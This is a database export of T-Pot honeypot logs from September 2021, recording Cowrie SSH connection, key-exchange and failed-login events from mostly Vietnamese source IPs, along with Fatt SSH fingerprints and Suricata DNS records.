"2021-09-20T11:08:54.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24506	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.853781+03	2021-09-20 14:15:08.886471+03	{"_id": "aAblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "037429c59f6c", "@version": "1", "timestamp": "2021-09-20T11:08:54.853781Z", "@timestamp": "2021-09-20T11:08:54.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24507	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.937532+03	2021-09-20 14:15:08.887471+03	{"_id": "aQblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3cf3d77ca70c", "@version": "1", "timestamp": "2021-09-20T11:08:54.937532Z", "@timestamp": "2021-09-20T11:08:54.937Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24508	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:55.031682+03	2021-09-20 14:15:08.889471+03	{"_id": "agblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [spam/spam] failed", "session": "b8d2d631b80d", "@version": "1", "password": "spam", "username": "spam", "timestamp": "2021-09-20T11:08:55.031682Z", "@timestamp": "2021-09-20T11:08:55.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24509	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:55.350919+03	2021-09-20 14:15:08.890471+03	{"_id": "awblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bd8bbe1900cb", "@version": "1", "duration": 2.8646576404571533, "timestamp": "2021-09-20T11:08:55.350919Z", "@timestamp": "2021-09-20T11:08:55.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24510	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:56.02726+03	2021-09-20 14:15:08.891471+03	{"_id": "bQblAnwBvYTbRNuEBxQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ace/ace] failed", "session": "037429c59f6c", "@version": "1", "password": "ace", "username": "ace", "timestamp": "2021-09-20T11:08:56.027260Z", "@timestamp": "2021-09-20T11:08:56.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24511	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:56.12899+03	2021-09-20 14:15:08.89247+03	{"_id": "bgblAnwBvYTbRNuEBxQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c6b420926887", "@version": "1", "duration": 2.6084368228912354, "timestamp": "2021-09-20T11:08:56.128990Z", "@timestamp": "2021-09-20T11:08:56.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24512	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:56.311611+03	2021-09-20 14:15:08.893471+03	{"_id": "cAblAnwBvYTbRNuEBxQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "b8d2d631b80d", "@version": "1", "duration": 3.5860884189605713, "timestamp": "2021-09-20T11:08:56.311611Z", "@timestamp": "2021-09-20T11:08:56.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24513	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:57.028728+03	2021-09-20 14:15:08.895503+03	{"_id": "cQblAnwBvYTbRNuEChSP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33270, "timestamp": "2021-09-20T11:08:57.028728", "@timestamp": "2021-09-20T11:08:57.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24514	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:57.371928+03	2021-09-20 14:15:08.8965+03	{"_id": "dwblAnwBvYTbRNuECxQt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:58592 (192.168.176.2:22) [session: 5cdb690ff84f]", "session": "5cdb690ff84f", "@version": "1", "protocol": "ssh", "src_port": 58592, "dest_port": 22, "timestamp": "2021-09-20T11:08:57.371928Z", "@timestamp": "2021-09-20T11:08:57.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24515	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:57.374954+03	2021-09-20 14:15:08.897473+03	{"_id": "eQblAnwBvYTbRNuECxQt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5cdb690ff84f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:57.374954Z", "@timestamp": "2021-09-20T11:08:57.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24516	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:57.029354+03	2021-09-20 14:15:08.8985+03	{"_id": "gAblAnwBvYTbRNuECxQx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5c93443003b2", "@version": "1", "timestamp": "2021-09-20T11:08:57.029354Z", "@timestamp": "2021-09-20T11:08:57.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24517	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:57.305523+03	2021-09-20 14:15:08.9005+03	{"_id": "gQblAnwBvYTbRNuECxQx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "037429c59f6c", "@version": "1", "duration": 2.793137550354004, "timestamp": "2021-09-20T11:08:57.305523Z", "@timestamp": "2021-09-20T11:08:57.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24518	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:08:57.210067+03	2021-09-20 14:15:08.9015+03	{"_id": "gwblAnwBvYTbRNuEDRSD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59079, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 788755372389523, "@version": "1", "in_iface": "enp5s0", "src_port": 40949, "dest_port": 53, "timestamp": "2021-09-20T11:08:57.210067Z", "@timestamp": "2021-09-20T11:08:57.210Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
24519	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:08:57.211989+03	2021-09-20 14:15:08.9035+03	{"_id": "ggblAnwBvYTbRNuEDRSD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59079, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2109, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 788755372389523, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40949, "timestamp": "2021-09-20T11:08:57.211989Z", "@timestamp": "2021-09-20T11:08:57.211Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
